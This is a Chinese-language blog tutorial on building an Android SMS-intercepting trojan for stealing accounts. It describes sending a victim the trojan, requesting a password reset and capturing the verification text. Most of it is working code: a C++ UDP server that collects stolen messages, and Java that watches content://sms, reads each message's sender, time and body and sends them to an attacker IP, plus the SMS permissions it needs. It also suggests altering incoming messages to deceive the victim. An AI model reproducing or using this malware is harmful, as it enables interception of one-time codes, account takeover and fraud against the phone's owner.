0%

实现拦截码

项目写时间长了,出来散散心。

拦截马

主要是用来拦截短信,主要是黑客用来实现所谓的盗号所设计的。
思路比较简单。

  1. 首先先给受害者发送可以劫持短信的APP木马
  2. 受害者打开木马APP
  3. 攻击者申请更换密码
  4. 收到短信,劫持到短信信息
  5. 可根据需要,攻击者更换原先短信的内容

思路比较简单,但是有两点是核心,一是如何劫持短信,劫持到短信攻击者如何进行获取。
先看下劫持的效果。
测试,所以我使用的是安卓模拟器:

  1. 一台服务器
  2. 安卓虚拟机

实现方法

就和动图中的一样,就是受害者打开手机存在木马的手机APP,当接受到或者发送短信的时候就会被我们拦截到。

劫持短信

这里我提供一个比较简单的方法,也是比较官方的一个方法,就是在安卓信息发送和接受的时候,短信APP会使用内容提供者给内容解析的APP一个消息,会让存在内容解析的APP响应ContentObserver子类对应的onChange方法。然后通过Socket发送给我们木马的接收服务器,就实现一次攻击。

服务端编写

这个一般是用来放在服务器上的,所以我就用C++来写了,界面很简单,就是基本的画一下,一个ListBox就可以了。
服务端的代码,基本没什么难度,就是一个简单的Socket程序,我这里用的是UDP,用TCP的话呢,对于这种程序,感觉会有点傻,基本的实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
UINT MyThread(LPVOID lparm)
{
ClanjiemaServiceDlg * dlg= (ClanjiemaServiceDlg *)lparm;

WSAData wSd; //初始化信息
SOCKET soRecv; //接收SOCKET
char* pszRecv = NULL; //接收数据的数据缓冲区指针
int nRet = 0;
int dwSendSize = 0;
SOCKADDR_IN siRemote,siLocal;//远程发送机地址和本机接收机地址

if (WSAStartup(MAKEWORD(2,2),&wSd) != 0)
return 0;

soRecv = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if (soRecv == SOCKET_ERROR) {
WSACleanup();
return 0;
}
siLocal.sin_family = AF_INET;
siLocal.sin_port = htons(6666);
siLocal.sin_addr.s_addr = INADDR_ANY;
if (bind(soRecv,(SOCKADDR*)&siLocal,sizeof(siLocal)) == SOCKET_ERROR) {
WSACleanup();
return 0;
}

try
{
pszRecv = new char[4096];
}
catch (CException* e)
{
AfxMessageBox("初始化内存失败!");
}
memset(pszRecv,0,4096);
dwSendSize = sizeof(siRemote);
while((nRet = recvfrom(soRecv,pszRecv,4096,0,(SOCKADDR*)&siRemote,&dwSendSize)) != SOCKET_ERROR)
{
pszRecv[nRet]='\0';
CString s;
s.Format("%s : %s",inet_ntoa(siRemote.sin_addr),pszRecv);
dlg->m_ListBox.AddString(s);
}
closesocket(soRecv);
delete[] pszRecv;
WSACleanup();
return 1;

}

BOOL ClanjiemaServiceDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();

// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标

AfxBeginThread(MyThread,(LPVOID)this);

return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}

简单的说一下,在OnInitDialog中启动我们的Socket线程,用来接受我们的信息,Socket这块基本没什么变数,就是照葫芦画瓢,不愿意写的直接复制就好了。

木马编写

首先我们先要实现java层的实现UDP协议的发送,基本也就是照葫芦画瓢,首先我们写一个方法,用来将我们构造的String字符串发送给我们的服务端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void SendNetMessage(String str)
{
sMessage = str;
new Thread(){
@Override
public void run()
{
Log.d("wker", sMessage);
DatagramSocket socket = null;
DatagramPacket packet = null;
try {
socket = new DatagramSocket();
packet = new DatagramPacket(sMessage.getBytes("GBK"),sMessage.getBytes("GBK").length,InetAddress.getByName("XXX.XXX.XXX.XXX"),6666);
socket.send(packet);
socket.close();
} catch (IOException e) {
}
};
}.start();
}

我定义了一个静态字符串,用来转储字符串的,然后安卓高版本是不支持在主线程进行网络操作的,我们就写个新的线程,用来专门发送数据,这里需要注意的是,我们需要在AndroidManifest.xml中配置一个权限:

1
<uses-permission android:name="android.permission.INTERNET" />

这个权限就是操作网络用到的。
这里有一个坑,搞得当时我有点烦,就是java默认的是宽字节,但是Windows中的那个recvfrom第二个参数是char*就有点烦,测试的时候我发的时候总是会丢失一些字节,我一开始以为是C++写的时候有错误,一直在找,然后怎么也解决不了,我就浏览内存找,怎么也没找到bug,后来就调试了一下java,发现String.length()返回的是宽字节个数,但是我声明的时候明明传的给的”GBK”这个参数,我也没搞明白,然后我一开始想到的解决办法是,无非就是中文字符占两个有点难搞,我就用正则匹配得出中文个数,然后将length加上这个中文个数,确实是正常的,但是我总感觉怪怪的,后来我就改成了sMessage.getBytes("GBK").length,这个就没什么问题了。


写完了发送函数,就该写拦截短信的方法了,继承ContentObserver这个类,重写onChange方法。
onCreate方法中,我们先获取内容监听者的权限:

1
2
3
mco = new MyObserver(new Handler());
Uri uri = Uri.parse("content://sms");
getContentResolver().registerContentObserver(uri, true, mco);

mco是一个私有变量:

1
2
private MyObserver mco;
private static String sMessage;

MyObserver这个使我们重写的类,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private class MyObserver extends ContentObserver
{
public MyObserver(Handler handler) {
super(handler);
}
@Override
public void onChange(boolean selfChange, Uri uri) {
super.onChange(selfChange);
if(!selfChange)
{
Cursor cursor = getContentResolver().query(uri, null, null, null, null);
String body = null;
String address=null;
String date=null;
while(cursor.moveToNext())
{
body=cursor.getString(cursor.getColumnIndex("body"));
address = cursor.getString(cursor.getColumnIndex("address"));
date = cursor.getString(cursor.getColumnIndex("date"));
}
Date time = new Date(Long.parseLong(date));
SendNetMessage("发件人手机号:"+address+"发送时间:"+time+"发送数据:"+body);
}

}
}

构造函数没什么,就传进来一个Handle对象,new一个给他就好了,在这里不重要。
onCreate方法中我们实例化一个这个对象,然后再new一个Uri对象,这个Uri对象是用来表示我们监听的对象,也就是sms这个短信,观察安卓源代码,他里面有这么一段:

1
2
ContentResolver resolver = getContext().getContentResolver();
resolver.notifyChange(uri, null);

类似于这样的一段代码,就是用来通知这个监听器的,之前我以为这个监听是类似于HOOK的一个东西,原来不是。
我们构造Uri对象之后,然后就需要把这个我们自己的ContentObserver注册上去,getContentResolver().registerContentObserver(uri, true, mco);,获取到这个单例对象之后使用注册的这个函数就可以了,第二个参数我们用true代表的是模糊匹配Uri。
在我们重写的onChange方法中,我们得到Uri对象之后,通过内容解析出这个Uri所对应的Cursor对象,以此来查询短信这个APP中的数据库,主要有这三个比较重要的字段:

字段 含义
body 短信的内容
address 短信的提供者
date 短信的格林尼治时间戳

其实还有个Type这个字段,我没写上去,这个的话呢代表是发送还是接受,我懒得写了就没增加判断。
然后遍历出来我们的数据之后,然后通过之前我们写好的那个函数就可以进行数据的收发了。
但是要注意的是,这个时候还是不可以的,我们需要给我们的APP增加几个权限:

1
2
3
4
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission><!--添加权限-->
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>

也就是SMS需要的权限,可以尝试一些是否可以进行劫持接受的短信,我们可以写这样的一段代码:

1
2
3
4
5
6
7
8
ContentResolver contentResolver = getContentResolver();
Uri uri = Uri.parse("content://sms");
ContentValues values = new ContentValues();
values.put("body", "Wker通知:高等数学不学好,考研就要买医保");
values.put("address", "10086");
values.put("type", "1");
values.put("date", System.currentTimeMillis());
contentResolver.insert(uri, values);

这个是模拟短信的接受,同样我们可以进行一个简单的测试:

接收测试

可以看到我们同样拦截到了。

程序的优化

  1. 在java层,如果我们真正的想要进行一个欺骗,我们可以选择先更改我们的接收到的短信的内容,其实这个也是可以做到的,而且不是很难。
  2. 增加对type类型的判断,判断是不是要进行接受和发送的判断